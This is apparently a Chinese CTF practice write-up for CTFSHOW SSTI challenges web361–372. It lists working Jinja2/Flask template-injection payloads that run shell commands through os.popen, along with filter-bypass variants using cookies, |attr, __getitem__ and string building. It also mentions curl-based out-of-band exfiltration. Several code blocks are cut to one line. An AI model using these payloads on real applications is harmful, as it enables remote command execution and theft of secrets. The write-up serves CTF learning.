Practice - CTFSHOW WEB入门 SSTI篇
web361
提示名字就是考点,测试 /?name=a
可以看到 Hello a
,改成 {{2*2}}
返回 4
确认存在漏洞。
payload: /?name={{config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}}
web362
1 | from flask import Flask |
这个 payload 还能用 /?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('env').read()}}
web363
1 | from flask import Flask |
可以用 request.args.x
传参代替字符串
payload: /?name={{g.pop.__globals__.__builtins__[request.args.x](request.args.xx).popen(request.args.xxx).read()}}&x=__import__&xx=os&xxx=env
web364
1 | from flask import Flask |
可以用 request.cookies 代替 request.args,还尝试过 request.form 构造畸形 get 流量获取参数未果。
1 | GET /?name={{g.pop.__globals__.__builtins__[request.cookies.x](request.cookies.xx).popen(request.cookies.xxx).read()}} |
web365
1 | from flask import Flask |
__getitem__
可以代替方括号。
1 | GET /?name={{g.pop.__globals__.__builtins__.__getitem__(request.cookies.x)(request.cookies.xx).popen(request.cookies.xxx).read()}} |
web366-367
1 | from flask import Flask |
|attr
可代替 .
,找链子的时候注意区别 __getitem__
和 |attr
。
1 | GET /?name={{a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x)}} |
web368
1 | from flask import Flask |
可用 {% print(payload) %}
代替 {{ payload }}
1 | GET /?name={%print(a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x))%} |
web369
1 | from flask import Flask |
没了 request,要自己拼字符了。
https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters 这些 filters 或许用得到。。。
偷了 generator object select_or_reject
的 _
。
1 | {% set pop=dict(p=a,op=a)|join %} #pop |
exp.py
1 | import re |
web370
1 | from flask import Flask |
开始构造数字
1 | import re |
web371-372
1 | from flask import Flask |
不给 print,curl 带外
1 | import re |
原本想弹 shell 的。。